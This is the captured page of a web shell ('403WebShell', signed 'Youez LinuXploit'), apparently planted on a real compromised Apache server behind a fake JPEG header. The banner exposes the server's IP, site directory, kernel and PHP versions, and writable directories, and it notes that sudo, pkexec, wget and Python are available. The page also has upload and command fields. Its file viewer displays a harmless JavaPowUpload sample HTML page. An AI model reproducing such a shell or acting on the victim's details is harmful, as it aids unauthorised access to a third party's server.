????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.50.189
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/productionzon/JavaPowUpload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/productionzon/JavaPowUpload/javascriptupload.html
<!-- saved from url=(0014)about:internet -->
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Java Script upload example</title>
	<link rel="stylesheet" href="styles.css">
    <style type="text/css">

select {
     border-right: 1px solid #b8b8b8;
     border-top: 1px solid #b8b8b8;
     border-left: 1px solid #b8b8b8;
     border-bottom: 1px solid #b8b8b8;
}
	</style>
</head>

<body>
Sample: <b>javascriptupload.html</b>&nbsp;&nbsp;<a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16">&nbsp;Refresh frame</a>&nbsp;&nbsp;<a target="_parent" href="index.htm"><img border="0" src="images/home.png" width="16" height="16">&nbsp;Examples home</a><br/><br/>
<!-- text below wil be shown if JavaScript disabled at browser -->
 <span id="noscriptdiv" style="border:1px  solid #FF0000;display:block;padding:5px;text-align:left; background: #FDF2F2;color:#000;">Active Scripting (JavaScript) should be enabled in your 
							browser for this application to function properly!</span>
<script type="text/javascript">
	document.getElementById('noscriptdiv').style.visibility = 'hidden';
	document.getElementById('noscriptdiv').style.height = 0;
	document.getElementById('noscriptdiv').style.padding = 0;
	document.getElementById('noscriptdiv').style.border = 0;
</script>

<p>The example shows the possibility to change JavaPowUpload interface on user’s   own HTML interface with the help of Javascript + HTML . It example  shows a  dialogue window to browse files.  It is possible to drag-n-drop the files to a region on a web page.
</p>
For the  example you need to specify script URL that accept the files. Open the example  in a text editor and specify the property value &quot;Upload.UploadUrl&quot; of  JavaPowUpload applet. The value can be: 
<ul>
  <li>For ASP: <code>FileProcessingScripts/ASP/ClearASP/uploadfiles.asp</code></li>
  <li>For PHP : <code>FileProcessingScripts/PHP/uploadfiles.php</code>&nbsp;<strong>(Default script)</strong></li>
  <li>For ASP.NET (C Sharp): <code>FileProcessingScripts/ASP.NET/CSharp/uploadfiles.aspx</code></li>
  <li>For ASP.NET (VB.NET): <code>FileProcessingScripts/ASP.NET/VBNET/uploadfiles.aspx</code></li>
   <li>For Perl : <code>FileProcessingScripts/PERL/uploadfiles.pl</code></li>
   <li>For Cold Fusion : <code>FileProcessingScripts/ColdFusion/uploadfiles.cfm</code></li>
   <li>For JSP : <code>FileProcessingScripts/JSP/uploadfiles.jsp</code></li>
</ul>
Drop files and folders to the region below or browse files by clicking buttons!<br>
<br>

  <!--lib/JavaPowUpload.jar - main jar file, should always be included
     
	Optional jar files: 
	
	lib/skinlf.jar - for themes support
    lib/commons-compress.jar - compression before upload
	
    lib/commons-httpclient.jar   - http upload functionality
	
	lib/commons-net-ftp.jar - FTP protocol support -->
  <applet 
  code="com.elementit.JavaPowUpload.Manager"
  archive="lib/commons-httpclient.jar,
	lib/JavaPowUpload.jar"
  width="200"
  height="100"
  name="JavaPowUpload"
  id="JavaPowUpload"
  mayscript="true"
  alt="JavaPowUpload by www.element-it.com"
  VIEWASTEXT>
     
    <param name="progressbar" value="false">
    <param name="boxmessage" value="Loading JavaPowUpload Applet ...">
	
	<param name="Common.SerialNumber" value="put your serial number here">
	<!--Enable upload mode -->
    <param name="Common.UploadMode" value="true">
	<!--Enable JavaPowUpload events and functions to use in JavaScript -->
    <param name="Common.UseLiveConnect" value="true"> 
	<!--Hide user interface -->
    <param name="Common.RunHidden" value="true"> 
	<!--Set url to file processing script -->
    <param name="Upload.UploadUrl" value="FileProcessingScripts/PHP/uploadfiles.php">
 <!-- This text will be shown if applet not working or Java not installed-->
 <span style="border:1px  solid #FF0000;display:block;padding:5px;margin-top:10px;margin-bottom:10px;text-align:left; background: #FDF2F2;color:#000;">You should <b>enable applets</b> running at browser and to have the <b>Java</b> (JRE) version &gt;= 1.5.<br />If applet is not displaying properly, please check <a target="_blank" href="http://java.com/en/download/help/testvm.xml" title="Check Java applets">additional configurations</a></span>
</applet>

  
  
  <!-- Java Script code -->
  <script type="text/javascript">
	var uploadedfilescount = 0;	
	var JavaPowUpload;
	
	window.onload = function() {	
		InitJavaObj();
	}	
			
	function InitJavaObj()
	{		
		JavaPowUpload = document.getElementById("JavaPowUpload");				
	}
			
	function browsefiles()
	{
		JavaPowUpload.browseFiles();
	}
	
	//Clear HTML list
	function clearListBox(lstBox)
	{		
		while (lstBox.length > 0)
		{
			lstBox.remove(0);
		}
	}

	//Update HTML progress bar state
	function updateProgressBar(percentDone)
	{
		var rowProgress = document.getElementById("rowProgress");
		if(percentDone>=1)
			rowProgress.width = percentDone + "%";
		else
			rowProgress.width = "1"; //0% width not shown correctly by some browsers
	}
	
	function StartUpload()
	{
		updateProgressBar(0);
		uploadedfilescount = 0;
		document.getElementById("lable").innerHTML = "";	
		JavaPowUpload.startUpload();		
	}
	
	function StopUpload()
	{
			JavaPowUpload.cancelUpload();
	}

	function RemoveAll()
	{
		JavaPowUpload.clearTree();
		var fileslist = document.getElementById("fileslist");
		clearListBox(fileslist);
		UpdateTotalFilesLable();
	}
		
	function RemoveSelected()
	{
		var fileslist = document.getElementById("fileslist");
		for(i=fileslist.options.length-1; i>=0; i--)
		{			
			if(fileslist.options[i].selected == true)
			{
				//Remove file at JavaPowUpload list by Id 									
				JavaPowUpload.removeFileById(fileslist.options[i].value);
				//Remove file from HTML list;
				//fileslist.options.remove(i);
				fileslist.options[i] = null;				
			}	
		}
		updateListBox();
		UpdateTotalFilesLable();
	}
	
	function updateListBox()
	{
		var list = JavaPowUpload.getFiles();		
		var i = 0;				
		var fileslist = document.getElementById("fileslist");
		clearListBox(fileslist);
		for(i=0;i<list.size();i++)
		{
			if(list.get(i).isFile())
				fileslist.options[fileslist.options.length] = new Option(list.get(i).getFullPath() + 
				" (" + list.get(i).getLength() + " bytes)", list.get(i).getId(), false, false ); 			
		}
	}
	
	function ShowServerResponse()
	{
		var responselable = document.getElementById("serverresponse");
		responselable.innerHTML = "Response code " + JavaPowUpload.getLastStatusCode();
		responselable.innerHTML += "<br>" + JavaPowUpload.getLastServerResponse();		
	}
	
	function UpdateTotalFilesLable()
	{		
		document.getElementById("lable").innerHTML = "Total files is  "+JavaPowUpload.getProgressInfo().getSelectedFilesCount()+" (" + JavaPowUpload.getProgressInfo().getTotalSize() + " bytes)";
	}
	
	<!-- Event "onAddFiles" invokes after new file added to list -->
	function JavaPowUpload_onAddFiles(files)
	{
		var fileslist = document.getElementById("fileslist");
		for(var i=0; i < files.length; i++)					
			fileslist.options[fileslist.options.length] = new Option(files[i].getFullPath() + 
				" (" + files[i].getLength() + " bytes)", files[i].getId(), false, false ); 
		UpdateTotalFilesLable();
	}

	/*function JavaPowUpload_onAddFile(listItem)
	{	
		
		
	}*/
	
	<!-- Event "onFileProgress" invokes periodically during the upload process-->
	function JavaPowUpload_onFileProgress() 
	{
	   //round percent to 2 decimals
	   var PercentDone = Math.round(JavaPowUpload.getProgressInfo().getTotalPercent()*100)/100;	  
	   document.getElementById("lable").innerHTML = Math.round(PercentDone) + "% uploaded" + " (" + uploadedfilescount + " files)";
	   updateProgressBar(PercentDone);
	}
	
	<!-- Event "onUploadStart" invokes after upload process starts-->
	function JavaPowUpload_onUploadStart()
	{		
	}
	
	<!-- Event "onFileFinished" invokes after individual file uploaded.-->
	function JavaPowUpload_onFileFinished(listItem)
	{
		uploadedfilescount++;
		//Java.removeFile(listItem.getIndex());
		//updateListBox();		
	}
	
	<!-- Event "onUploadFinish" invokes after upload was finished-->
	function JavaPowUpload_onUploadFinish()
	{
		updateProgressBar(100);
	  	document.getElementById("lable").innerHTML = "Upload complete! " + uploadedfilescount + " files uploaded.";
		var fileslist = document.getElementById("fileslist");
		//remove uploaded files from JPU
		var list = JavaPowUpload.getFiles();
		var i = 0;
		for(i=list.size()-1;i>=0;i--)
		{
			if(list.get(i).isFile() && list.get(i).getStatus() == 2)
			{
				JavaPowUpload.removeFileById(list.get(i).getId());
			}
		}
		updateListBox();
		//clearListBox(fileslist);	
		ShowServerResponse();	
	}

  </script>
  
  <br>
  <br>
  <br>
  
<table><tr>
<td>
<a href="javascript:browsefiles();" class="button">
<span class="browse">Browse&nbsp;files...&nbsp;</span>
</a>
</td>
<td>
<a href="javascript:RemoveAll();" class="button">
<span class="clear">Clear&nbsp;all&nbsp;</span>
</a>
</td>
<td>
<a href="javascript:RemoveSelected();" class="button">
<span class="remove">Remove&nbsp;selected&nbsp;</span>
</a>
</td>
</tr></table>

<select id="fileslist" name="fileslist" style="HEIGHT:150px;WIDTH:300px;" multiple>
</select>

<table border="0"  width="300" height="17" cellpadding="0" cellspacing="0">
	<tr>
		<td>
			<table style="background:url(images/progressbar.gif) repeat-x" id="rowProgress" width="1" height="17" cellpadding="0" cellspacing="0">
				<tr>
					<td style="border-right:1px solid #b8b8b8;border-left:1px solid #b8b8b8;">&nbsp;</td>
				</tr>
			</table>
		</td>
	</tr>
</table>
<table><tr>
<td>
<a href="javascript:StartUpload();" class="button">
<span class="upload">Start&nbsp;upload&nbsp;</span>
</a>
</td>
<td>
<a href="javascript:StopUpload();" class="button">
<span class="cancel">Cancel&nbsp;upload&nbsp;</span>
</a>
</td>
</tr></table>


<div id="lable">&nbsp;</div><br>
<div id="serverresponse">&nbsp;</div>
<br />
The file uploader doesn’t work? See <a target="_blank" href="http://www.element-it.com/OnlineHelpJavaPowUpload/Troubleshooting.html">here</a> what you need for its proper work. 
<br/>
<a href="index.htm">&lt;&lt;Return to the samples list</a>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit